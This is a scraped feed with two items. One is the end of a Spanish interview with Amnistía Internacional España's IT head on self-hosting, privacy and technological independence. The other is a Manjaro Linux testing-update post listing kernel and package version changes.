<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/Carlos-Lopez.jpg?quality=50&amp;strip=all&amp;w=918" alt="Carlos López Berenguer, responsable de TI de Amnistía Internacional España" class="wp-image-4172844" width="918" height="1024" sizes="auto, (max-width: 918px) 100vw, 918px"></figure><p class="imageCredit">Carlos López Berenguer.</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em> “La única manera real hoy en día de garantizar la privacidad con respecto al trabajo con las ‘big tech’ es saliendo de las ‘big tech”, sostiene el responsable de TI de Amnistía Internacional España</em></strong></p></blockquote></figure>



<p>La implantación comenzó con una pequeña prueba piloto con cinco usuarios, que más tarde se convirtieron en diez y esos diez en treinta. Pero, el gran punto de inflexión llegó con la pandemia y el auge del teletrabajo. “Cuando llegó la pandemia ya lo teníamos puesto en producción con todo el mundo utilizándolo. Prácticamente nos salvó la vida a los de sistemas”, asegura.</p>



<p>La herramienta pasó además de ser un simple sistema para compartir archivos a convertirse en una plataforma de trabajo colaborativo. “Cuando la gente vio que podía editar concurrentemente documentos y trabajar conjuntamente de una manera transparente, empezó a encontrarle muchísimos más usos”, explica.</p>



<h2 class="wp-block-heading">Privacidad, flexibilidad y control</h2>



<p>Más allá de la funcionalidad, López Berenguer insiste en que el principal valor diferencial de este tipo de soluciones es el control sobre la infraestructura y los datos. “La única manera real hoy en día de garantizar la privacidad con respecto al trabajo con las <em>big tech</em> es saliendo de las <em>big tech</em>”, sostiene.</p>



<p>En este sentido, muestra una visión especialmente crítica sobre el tratamiento de datos personales por parte de las grandes plataformas tecnológicas. “Microsoft está buscando un <em>profiling</em> general de absolutamente cada persona que trabaja con un ordenador o que usa un ordenador en el mundo”, afirma. Es más, el responsable de TI considera que la integración creciente de servicios, cuentas y herramientas digitales está generando una recopilación masiva de información sobre los usuarios. “Todo esto se hace con excusas relacionadas con mejorar la seguridad o garantizar una mejor experiencia”, asegura.</p>



<p>Frente a ello, defiende que el software libre ofrece una alternativa más flexible y segura. “Ser tu propio Google sin comprometer la privacidad de tus usuarios, sin comprometer tus documentos y siendo independiente tecnológicamente es un gran salto”, resume.</p>



<p>Además de la privacidad, destaca también la capacidad de adaptación que les ofrece trabajar con infraestructura propia. “Hemos tenido bastante más flexibilidad tanto a la hora de administrar la plataforma como de recuperar datos perdidos o permitir maneras de trabajo más flexibles”, explica.</p>



<p>Pese a la apuesta por la independencia tecnológica, Amnistía Internacional España reconoce que todavía existen algunas dependencias difíciles de eliminar. A su juicio, determinadas herramientas de las grandes tecnológicas se han convertido en estándares de facto muy difíciles de evitar. “Uno de los grandes compromisos que siento que tenemos que hacer es utilizar Teams”, reconoce López Berenguer. “La gente ya no entiende tener una videoconferencia sin hablar de Teams. Mucha gente ni siquiera entiende que exista una alternativa”, señala.</p>



<p>Aun así, asegura que la organización ha conseguido alcanzar un alto grado de autonomía tecnológica. “Yo diría que estamos aproximadamente en un 70 y mucho por ciento de independencia tecnológica”, calcula. “Siempre pensamos mucho en esta situación: ‘Si Estados Unidos corta el cable, nosotros creemos que podríamos seguir trabajando prácticamente sin problemas’”, afirma.</p>



<h2 class="wp-block-heading">Seguridad y protección de datos</h2>



<p>La gestión de información sensible obliga también a mantener una estrategia tecnológica especialmente orientada a la seguridad. Según explica López Berenguer, la organización trabaja con un modelo de múltiples capas de protección. “Tenemos seguridad local, trabajamos principalmente con Linux, hacemos <em>hardening</em>, mantenemos versiones actualizadas, gestionamos de manera estricta los <em>firewall</em> y cómo se comunican los sistemas entre sí”, detalla.</p>



<p>La organización también utiliza herramientas de seguridad perimetral, antivirus y servicios especializados. Además, considera que el actual paradigma <em>cloud</em> ha generado cierta pérdida de cultura de control sobre los datos. “No existe una gran cultura de <em>backup</em> de los datos propios cuando todo está en SharePoint o en Azure”, advierte.</p>



<h2 class="wp-block-heading">Inteligencia artificial: oportunidad y preocupación</h2>



<p>La inteligencia artificial es otro de los grandes ámbitos en los que trabaja actualmente el equipo tecnológico de Amnistía Internacional España. La organización ya ha desarrollado políticas internas para limitar el uso de herramientas externas con datos sensibles. “Hemos desarrollado políticas para garantizar que no se comparten ni se ponen datos personales en ninguna inteligencia artificial controlada por una gran empresa”, explica.</p>



<p>Al mismo tiempo, trabajan en proyectos para desplegar modelos propios ‘autoalojados’. “Tenemos proyectos para <em>hostear</em> nuestros propios modelos y poder ofrecer a algunos usuarios herramientas con las que procesar datos personales sin comprometer información sensible”, señala.</p>



<p>Entre los proyectos en desarrollo figuran herramientas relacionadas con videoconferencia, transcripción, análisis y síntesis de voz y texto. “Buscamos llegar a un modelo híbrido en el que determinadas tareas puedan hacerse con herramientas externas y otras requieran infraestructuras propias”, explica.</p>



<figure class="wp-block-pullquote"><blockquote><p>“<strong><em>En los últimos dos años estamos viendo una gran mudanza ideológica. Se habla constantemente y con mucho entusiasmo de soberanía digital, de ‘hostear’ tus propios sistemas y de ser dueño de tus datos</em></strong>“</p></blockquote></figure>



<p>López Berenguer considera que la inteligencia artificial transformará profundamente el trabajo de las organizaciones durante los próximos años. “Estamos hablando de máquinas que son capaces de iterar e iterar y prácticamente no hay un solo aspecto de nuestro trabajo que no se vaya a ver afectado”, añade.</p>



<p>Pese a ello, cree que precisamente esa transformación hace todavía más importante mantener el control tecnológico. “Es muy buen momento para intentar ser independientes tecnológicamente y controlar la mayor parte de nuestros sistemas”, concluye.</p>



<h2 class="wp-block-heading">Un cambio cultural que ya ha comenzado</h2>



<p>Durante años, López Berenguer reconoce que quienes apostaban por mantener infraestructuras propias y reducir la dependencia de las grandes plataformas tecnológicas eran vistos como una rareza. “Durante mucho tiempo nos sentimos bastante solos haciendo esto”, admite. Sin embargo, considera que el contexto actual está impulsando un cambio de mentalidad. “En los últimos dos años estamos viendo una gran mudanza ideológica. Se habla constantemente y con mucho entusiasmo de soberanía digital, de <em>hostear </em>tus propios sistemas y de ser dueño de tus datos”, explica.</p>



<p>Para el responsable de TI de Amnistía Internacional España, ese giro confirma que el camino emprendido por la organización hace años tenía sentido. “Ahora nos damos cuenta de que, en algunos aspectos, teníamos buena parte de razón y que hemos hecho lo correcto y lo necesario”, concluye.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-05-18 - Kernels, Heroic Games Launcher, Certbot, Python]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of May, beginning of June. Development speed may be a little slower the upcoming weeks. However, still let us know any issue...]]></description>
<link>https://tsecurity.de/de/3526999/unix-server/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526999/unix-server/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/</guid>
<pubDate>Mon, 18 May 2026 20:00:46 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of May, beginning of June. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.</p>
<h3><a name="p-857430-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-857430-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-857430-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-857430-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-1-bian-may-preview-released/187389" class="inline-onebox">Manjaro 26.1 Bian-May - Preview released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.</li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>
<h2><a name="p-857430-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-857430-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernel</strong> updates</li>
<li><strong>Heroic Games Launcher</strong> <a href="https://github.com/Heroic-Games-Launcher/HeroicGamesLauncher/releases/tag/v2.22.0">2.22.0</a></li>
<li><strong>certbot</strong> <a href="https://community.letsencrypt.org/t/certbot-5-6-0-release/247163">5.6.0</a></li>
<li>Updates to <strong>python</strong></li>
</ul>
<h2><a name="p-857430-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-857430-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux61 6.1.173</li>
<li>linux66 6.6.140</li>
<li>linux612 6.12.90</li>
<li>linux618 6.18.32</li>
<li>linux70 7.0.9</li>
<li>linux71 7.1.0-rc4</li>
<li>linux61-rt 6.1.167_rt62</li>
<li>linux66-rt 6.6.133_rt73</li>
<li>linux612-rt 6.12.79_rt17</li>
<li>linux617-rt 6.17.5_rt7</li>
</ul>
<p><strong>Package Changes</strong> (5/18/26 15:52 CEST)</p>
<ul>
<li>testing core x86_64:  12 new and 12 removed package(s)</li>
<li>testing extra x86_64:  455 new and 454 removed package(s)</li>
<li>testing multilib x86_64:  4 new and 4 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                            linux612            6.12.88-2            6.12.90-1
                    linux612-headers            6.12.88-2            6.12.90-1
                            linux618            6.18.30-2            6.18.32-1
                    linux618-headers            6.18.30-2            6.18.32-1
                             linux66            6.6.139-1            6.6.140-1
                     linux66-headers            6.6.139-1            6.6.140-1
                             linux70              7.0.7-2              7.0.9-1
                     linux70-headers              7.0.7-2              7.0.9-1
                             linux71           7.1.0rc3-1           7.1.0rc4-1
                     linux71-headers           7.1.0rc3-1           7.1.0rc4-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                                dash           0.5.13.2-1           0.5.13.4-1
                            fakeroot             1.37.2-1               1.38-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                   game-devices-udev               0.25-1                1.0-1
               heroic-games-launcher             2.21.0-2             2.22.0-1
                  linux612-acpi_call            1.2.2-116            1.2.2-117
                   linux612-bbswitch              0.8-114              0.8-115
                linux612-broadcom-wl     6.30.223.271-115     6.30.223.271-116
               linux612-nvidia-390xx          390.157-116          390.157-117
               linux612-nvidia-470xx       470.256.02-116       470.256.02-117
               linux612-nvidia-570xx        570.211.01-24        570.211.01-25
          linux612-nvidia-570xx-open        570.211.01-24        570.211.01-25
               linux612-nvidia-575xx         575.64.05-43         575.64.05-44
          linux612-nvidia-575xx-open         575.64.05-43         575.64.05-44
               linux612-nvidia-580xx         580.159.03-7         580.159.03-8
          linux612-nvidia-580xx-open         580.159.03-7         580.159.03-8
                     linux612-nvidia          595.71.05-7          595.71.05-8
                linux612-nvidia-open          595.71.05-7          595.71.05-8
                      linux612-r8168          8.056.02-16          8.056.02-17
                  linux612-rtl8723bu           20260507-4           20260507-5
                   linux612-tp_smapi              0.45-60              0.45-61
                linux612-vhba-module          20260313-11          20260313-12
    linux612-virtualbox-host-modules             7.2.8-10             7.2.8-11
                        linux612-zfs              2.4.2-3              2.4.2-4
                  linux618-acpi_call             1.2.2-37             1.2.2-38
                   linux618-bbswitch               0.8-37               0.8-38
                linux618-broadcom-wl      6.30.223.271-37      6.30.223.271-38
               linux618-nvidia-390xx           390.157-38           390.157-39
               linux618-nvidia-470xx        470.256.02-37        470.256.02-38
               linux618-nvidia-570xx        570.211.01-29        570.211.01-30
          linux618-nvidia-570xx-open        570.211.01-29        570.211.01-30
               linux618-nvidia-575xx         575.64.05-37         575.64.05-38
          linux618-nvidia-575xx-open         575.64.05-37         575.64.05-38
               linux618-nvidia-580xx         580.159.03-9        580.159.03-10
          linux618-nvidia-580xx-open         580.159.03-9        580.159.03-10
                     linux618-nvidia          595.71.05-9         595.71.05-10
                linux618-nvidia-open          595.71.05-9         595.71.05-10
                      linux618-r8168          8.056.02-22          8.056.02-23
                  linux618-rtl8723bu           20260507-6           20260507-7
                   linux618-tp_smapi              0.45-37              0.45-38
                linux618-vhba-module          20260313-13          20260313-14
    linux618-virtualbox-host-modules             7.2.8-12             7.2.8-13
                        linux618-zfs              2.4.2-3              2.4.2-4
                   linux66-acpi_call            1.2.2-184            1.2.2-185
                    linux66-bbswitch              0.8-181              0.8-182
                 linux66-broadcom-wl     6.30.223.271-182     6.30.223.271-183
                linux66-nvidia-390xx          390.157-179          390.157-180
                linux66-nvidia-470xx       470.256.02-122       470.256.02-123
                linux66-nvidia-570xx        570.211.01-19        570.211.01-20
           linux66-nvidia-570xx-open        570.211.01-19        570.211.01-20
                linux66-nvidia-575xx         575.64.05-35         575.64.05-36
           linux66-nvidia-575xx-open         575.64.05-35         575.64.05-36
                linux66-nvidia-580xx         580.159.03-5         580.159.03-6
           linux66-nvidia-580xx-open         580.159.03-5         580.159.03-6
                      linux66-nvidia          595.71.05-5          595.71.05-6
                 linux66-nvidia-open          595.71.05-5          595.71.05-6
                       linux66-r8168          8.056.02-13          8.056.02-14
                   linux66-rtl8723bu           20260507-3           20260507-4
                    linux66-tp_smapi              0.45-51              0.45-52
                 linux66-vhba-module           20260313-9          20260313-10
     linux66-virtualbox-host-modules              7.2.8-7              7.2.8-8
                         linux66-zfs              2.4.2-2              2.4.2-3
                   linux70-acpi_call             1.2.2-12             1.2.2-13
                    linux70-bbswitch               0.8-12               0.8-13
                 linux70-broadcom-wl      6.30.223.271-12      6.30.223.271-13
                linux70-nvidia-390xx           390.157-10           390.157-11
                linux70-nvidia-470xx        470.256.02-12        470.256.02-13
                linux70-nvidia-580xx         580.159.03-9        580.159.03-10
           linux70-nvidia-580xx-open         580.159.03-9        580.159.03-10
                      linux70-nvidia          595.71.05-9         595.71.05-10
                 linux70-nvidia-open          595.71.05-9         595.71.05-10
                       linux70-r8168          8.056.02-12          8.056.02-13
                   linux70-rtl8723bu           20260507-6           20260507-7
                    linux70-tp_smapi              0.45-12              0.45-13
                 linux70-vhba-module          20260313-12          20260313-13
     linux70-virtualbox-host-modules             7.2.8-12             7.2.8-13
                         linux70-zfs              2.4.2-3              2.4.2-4
                   linux71-acpi_call            1.2.2-0.5            1.2.2-0.6
                    linux71-bbswitch              0.8-0.5              0.8-0.6
                 linux71-broadcom-wl     6.30.223.271-0.5     6.30.223.271-0.6
                linux71-nvidia-390xx          390.157-0.5          390.157-0.6
                linux71-nvidia-470xx       470.256.02-0.5       470.256.02-0.6
                linux71-nvidia-580xx       580.159.03-0.2       580.159.03-0.3
           linux71-nvidia-580xx-open       580.159.03-0.2       580.159.03-0.3
                      linux71-nvidia        595.71.05-0.4        595.71.05-0.5
                 linux71-nvidia-open        595.71.05-0.4        595.71.05-0.5
                       linux71-r8168         8.056.02-0.5         8.056.02-0.6
                    linux71-tp_smapi             0.45-0.5             0.45-0.6
                 linux71-vhba-module         20260313-0.5         20260313-0.6
     linux71-virtualbox-host-modules            7.2.6-0.1                    -
                         linux71-zfs            2.4.2-0.1            2.4.2-0.2
                              scrcpy                    -              4.0-1.0


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                       acme-redirect              0.7.1-2              0.8.1-1
                     add-determinism              0.7.2-1              0.7.3-1
                               amule           1:2.3.3-11           1:2.3.3-12
                              anewer              0.1.6-2              0.1.6-3
                                 ant            1.10.15-1            1.10.17-1
                             ant-doc            1.10.15-1            1.10.17-1
                                apko              1.2.6-1             1.2.12-1
                      audiobookshelf             2.34.0-1             2.35.0-1
                       bbswitch-dkms              0.8-820              0.8-821
                             binocle              0.3.2-2              0.3.2-3
                      bitcoin-daemon               31.0-1               31.0-2
                          bitcoin-qt               31.0-1               31.0-2
                          bitcoin-tx               31.0-1               31.0-2
                          bootconfig              7.0.6-1              7.0.9-1
                                 bpf              7.0.6-1              7.0.9-1
                               bt747              2.2.1-3              2.3.2-1
                                 bun             1.3.13-1             1.3.14-1
                       cargo-nextest            0.9.135-1            0.9.136-1
                          cartridges             2.12.1-3             2.13.1-1
                              catch2             3.14.0-1             3.15.0-1
                           celluloid               0.29-1               0.30-1
                             certbot              5.5.0-1              5.6.0-1
                      certbot-apache              5.5.0-1              5.6.0-1
              certbot-dns-cloudflare              5.5.0-1              5.6.0-1
            certbot-dns-digitalocean              5.5.0-1              5.6.0-1
                certbot-dns-dnsimple              5.5.0-1              5.6.0-1
             certbot-dns-dnsmadeeasy              5.5.0-1              5.6.0-1
                  certbot-dns-gehirn              5.5.0-1              5.6.0-1
                  certbot-dns-google              5.5.0-1              5.6.0-1
                  certbot-dns-linode              5.5.0-1              5.6.0-1
                  certbot-dns-luadns              5.5.0-1              5.6.0-1
                   certbot-dns-nsone              5.5.0-1              5.6.0-1
                     certbot-dns-ovh              5.5.0-1              5.6.0-1
                 certbot-dns-rfc2136              5.5.0-1              5.6.0-1
                 certbot-dns-route53              5.5.0-1              5.6.0-1
             certbot-dns-sakuracloud              5.5.0-1              5.6.0-1
                       certbot-nginx              5.5.0-1              5.6.0-1
                              chawan              0.3.3-2              0.4.0-1
                       checkbashisms             2.26.8-1             2.26.9-1
                                cimg              3.7.5-1              3.7.6-1
                              clpeak              2.0.5-1              2.0.6-1
                         clpeak-cuda              2.0.5-1              2.0.6-1
                           collision             3.14.0-1             3.14.1-1
                            cpupower              7.0.6-1              7.0.9-1
                             crystal             1.20.1-2             1.20.2-1
                        crystal-docs             1.20.1-2             1.20.2-1
                             curtail             1.15.1-1             1.16.1-1
                   deepin-wallpapers           1:1.7.25-1           1:1.7.26-1
                            deja-dup               50.0-1               50.1-1
                              devede             4.21.0-2           4.21.3.1-1
                          diesel-cli              2.3.7-1              2.3.9-1
                             dnsmasq          2.92.rel2-1          2.92.rel2-2
                              docker           1:29.4.3-1           1:29.5.0-1
                       docker-buildx             0.33.0-1             0.34.0-1
                               doctl            1.158.0-1            1.159.0-1
                       dwarffortress              53.12-1              53.13-1
                                 ecb         2.40.1pre-12               2.52-1
                            ejabberd              26.02-1              26.04-1
                             elastic              1.0.2-1              1.0.3-1
                           ethersync              0.8.0-1                    -
                          fastflowlm             0.9.41-1             0.9.42-1
                                 fio               3.41-1               3.42-1
                firefox-adblock-plus             4.31.1-1             4.38.1-1
                           flowblade               2.22-2             2.24.1-1
                             freetds             1.5.17-1             1.5.18-1
                              gaphor              3.3.0-1              3.3.2-1
                             gerbera              3.2.1-2              3.2.1-3
        gnome-shell-extension-vitals             74.0.0-1             76.0.0-1
gnome-shell-extension-weather-oclock               50.2-1               50.3-1
                             go-task             3.50.0-2             3.51.1-1
                             goffice            0.10.60-1            0.10.61-1
                 gpu-screen-recorder             5.13.6-1             5.13.8-1
              gpu-screen-recorder-ui             1.12.0-1             1.12.2-1
                              gramps            2:6.0.7-1            2:6.0.8-1
                              hyperv              7.0.6-1              7.0.9-1
                              hyphen              2.8.8-6              2.8.9-1
                           hyphen-en              2.8.8-6              2.8.9-1
                            hyprland             0.55.1-1             0.55.2-1
                            identity            25.10.1-1              26.03-1
                         imagemagick           7.1.2.22-1           7.1.2.23-1
intel-oneapi-base-toolkit 2025.3.2.21+99f4837a_25b7_425d_a897_60af022676ea-1 -
                intel-oneapi-basekit        2025.0.1.46-1                    -
                  intel-speed-select              7.0.6-1              7.0.9-1
                       intelli-shell              3.4.0-2              3.4.1-1
     intellij-idea-community-edition         4:2026.1.1-1         4:2026.1.2-1
                               iotas             0.12.1-2             2026.6-2
                         jami-daemon           20260206-6           20260206-7
                                josm              19439-1              19555-1
                              kcpuid              7.0.6-1              7.0.9-1
                 kernel-headers-musl            4.19.88-3            6.12.77-1
                              kupfer                327-3                329-1
                      libdatachannel             0.24.2-2             0.24.3-1
                       libexttextcat              3.4.7-2              3.4.8-1
                           libkrunfw              5.3.0-1              5.4.0-1
                         liblockfile             1.17_1-4             1.17_2-1
                           libmythes            1:1.2.5-3            1:1.2.6-1
                            libpaper              2.2.7-1              2.2.8-1
                         libquotient            0.9.6.1-1            0.9.6.1-2
                   libreoffice-fresh             26.2.3-2             26.2.3-3
               libreoffice-fresh-sdk             26.2.3-2             26.2.3-3
                   libreoffice-still             25.8.7-1             25.8.7-2
               libreoffice-still-sdk             25.8.7-1             25.8.7-2
                       libsemigroups              3.6.0-1              3.6.1-1
                           libsigc++             2.12.1-2             2.12.2-1
                       libsigc++-3.0              3.8.0-1              3.8.1-1
                  libsigc++-3.0-docs              3.8.0-1              3.8.1-1
                      libsigc++-docs             2.12.1-2             2.12.2-1
                             libupnp            1.14.26-1            1.14.31-1
                              libvlc             3.0.22-3             3.0.22-4
                               libxi              1.8.2-1              1.8.3-1
                             libzypp            17.38.7-1            17.38.8-1
                        libzypp-docs            17.38.7-1            17.38.8-1
                    linux-tools-meta              7.0.6-1              7.0.9-1
                               lldpd             1.0.21-1             1.0.22-1
                                  ly              1.4.0-1              1.4.1-1
                        man-pages-cs             4.30.0-1             4.30.2-1
                        man-pages-da             4.30.0-1             4.30.2-1
                        man-pages-de             4.30.0-1             4.30.2-1
                        man-pages-el             4.30.0-1             4.30.2-1
                        man-pages-es             4.30.0-1             4.30.2-1
                        man-pages-fi             4.30.0-1             4.30.2-1
                        man-pages-fr             4.30.0-1             4.30.2-1
                        man-pages-hu             4.30.0-1             4.30.2-1
                        man-pages-id             4.30.0-1             4.30.2-1
                        man-pages-it             4.30.0-1             4.30.2-1
                        man-pages-mk             4.30.0-1             4.30.2-1
                        man-pages-nb             4.30.0-1             4.30.2-1
                        man-pages-nl             4.30.0-1             4.30.2-1
                        man-pages-pl             4.30.0-1             4.30.2-1
                     man-pages-pt_br             4.30.0-1             4.30.2-1
                        man-pages-ro             4.30.0-1             4.30.2-1
                        man-pages-ru             4.30.0-1             4.30.2-1
                        man-pages-sr             4.30.0-1             4.30.2-1
                        man-pages-sv             4.30.0-1             4.30.2-1
                        man-pages-uk             4.30.0-1             4.30.2-1
                        man-pages-vi             4.30.0-1             4.30.2-1
                             mdfried             0.20.1-1             0.20.2-1
                         meilisearch           1:1.43.0-1           1:1.43.1-1
                             melange             0.50.2-1             0.50.6-1
                         mermaid-cli            11.14.0-1            11.15.0-1
                              minder             1.17.0-2              2.0.9-1
                           mitmproxy             12.2.1-2             12.2.3-1
                              mousai              0.7.9-2             0.7.10-1
                                 mpd            0.24.11-1            0.24.12-1
                              mqttui             0.22.1-1             0.23.0-1
                         mullvad-vpn             2026.1-1             2026.2-1
                  mullvad-vpn-daemon             2026.1-1             2026.2-1
               netfilter-fullconenat      r73.0cf3b48-517      r73.0cf3b48-518
                           newsflash              5.0.0-1              5.1.0-1
             nextcloud-app-bookmarks           1:16.1.3-1           1:16.1.4-1
                         nodejs-nopt              9.0.0-1             10.0.0-1
                                numa             0.17.0-1             0.18.0-1
                        nwg-displays              0.4.2-1              0.4.3-1
                           nwg-panel            0.10.13-2            0.10.14-1
                          obs-studio             32.1.2-2             32.1.2-3
           obs-studio-plugin-browser             32.1.2-2             32.1.2-3
                              ollama             0.23.2-1             0.23.3-1
                         ollama-cuda             0.23.2-1             0.23.3-1
                         ollama-docs             0.23.2-1             0.23.3-1
                         ollama-rocm             0.23.2-1             0.23.3-1
                       ollama-vulkan             0.23.2-1             0.23.3-1
                            opencode             1.15.0-1             1.15.3-1
                            openfire              5.0.4-1              5.0.5-1
                            openrct2              0.5.0-1              0.5.1-1
                            opensips              3.6.4-1              3.6.5-1
                             openvkl              2.0.1-5              2.0.2-1
                            pack-cli             0.40.4-1             0.40.6-1
                                perf              7.0.6-1              7.0.9-1
             perl-cpan-perl-releases         5.20260320-1         5.20260420-1
                          photoflare             1.6.13-2              1.7.0-1
                             postfix             3.11.2-1             3.11.3-1
                         postfix-cdb             3.11.2-1             3.11.3-1
                        postfix-ldap             3.11.2-1             3.11.3-1
                        postfix-lmdb             3.11.2-1             3.11.3-1
                     postfix-mongodb             3.11.2-1             3.11.3-1
                       postfix-mysql             3.11.2-1             3.11.3-1
                        postfix-pcre             3.11.2-1             3.11.3-1
                       postfix-pgsql             3.11.2-1             3.11.3-1
                      postfix-sqlite             3.11.2-1             3.11.3-1
           pycharm-community-edition           2026.1.1-1           2026.1.2-1
                         python-acme              5.5.0-1              5.6.0-1
                     python-archinfo            9.2.194-1            9.2.215-1
            python-astropy-iers-data 0.2025.9.8.0.36.17-2 0.2026.5.11.1.8.52-1
                        python-black             26.3.1-1             26.5.0-1
                   python-cachetools              7.1.1-1              7.1.2-1
                      python-claripy            9.2.197-1            9.2.215-1
                  python-cli_helpers             2.14.0-1             2.15.0-1
                   python-cloudflare             2.20.0-1              5.1.0-1
                     python-colorcet              3.1.0-4              3.2.1-1
            python-extension-helpers              1.2.0-3              1.4.0-1
                         python-flit             3.12.0-2              4.0.0-1
                       python-fsspec           2026.3.0-1           2026.4.0-1
                       python-genshi             0.7.10-3             0.7.11-1
                  python-iterable-io              1.0.1-2              1.0.4-1
                         python-krb5              0.5.1-5              0.9.0-1
python-magic-wormhole-mailbox-server              0.7.0-1              0.8.0-1
                       python-mpi4py              4.1.1-2              4.1.2-1
                          python-mss             10.1.0-2             10.2.0-1
                     python-narwhals             2.21.0-1             2.21.2-1
                 python-openstacksdk             4.12.0-1             4.13.0-1
                       python-owslib             0.34.1-2             0.35.0-1
                        python-param              2.1.1-4              2.3.3-1
                         python-pika              1.3.2-4              1.4.0-1
            python-py_stringmatching              0.4.6-2              0.4.7-1
                         python-pyct              0.5.0-5              0.6.0-1
                   python-pynitrokey             0.12.1-1             0.12.2-1
                    python-pyscipopt              6.2.0-1              6.2.1-1
                     python-pyspnego             0.11.0-1             0.12.1-1
               python-pytest-aiohttp              1.0.5-5              1.1.0-1
            python-pytest-dependency              0.6.0-4              0.6.1-1
                 python-pytest-order              1.3.0-2              1.4.0-1
                    python-pytest-qt              4.4.0-6              4.5.0-1
         python-pytest-rerunfailures               16.1-2               16.2-1
                      python-pytorch             2.11.0-4             2.12.0-1
                 python-pytorch-cuda             2.11.0-4             2.12.0-1
                  python-pytorch-opt             2.11.0-4             2.12.0-1
             python-pytorch-opt-cuda             2.11.0-4             2.12.0-1
             python-pytorch-opt-rocm             2.11.0-4             2.12.0-1
                 python-pytorch-rocm             2.11.0-4             2.12.0-1
        python-pyxdameraulevenshtein              1.8.0-3             1.10.1-1
                    python-qpageview              1.0.2-1              1.0.4-1
        python-recurring-ical-events              3.8.1-1              3.9.0-1
                   python-repoze.lru               0.7-13                0.8-1
                 python-scikit-build             0.18.1-6             0.19.0-1
                   python-sentry_sdk             2.59.0-1             2.60.0-1
           python-strawberry-graphql            0.315.4-1            0.315.5-1
                       python-syrupy              5.1.0-1              5.2.0-1
                      python-textual              8.2.5-1              8.2.6-1
                     python-tifffile           2026.5.2-1          2026.5.15-1
                   python-torchcodec             0.11.1-1             0.12.0-1
                  python-torchvision             0.26.0-1             0.27.0-1
             python-torchvision-cuda             0.26.0-1             0.27.0-1
                 python-zipstream-ng              1.9.0-2              1.9.2-1
                                 qsv             20.0.0-1             20.1.0-1
                           qwen-code            0.15.10-1            0.15.11-1
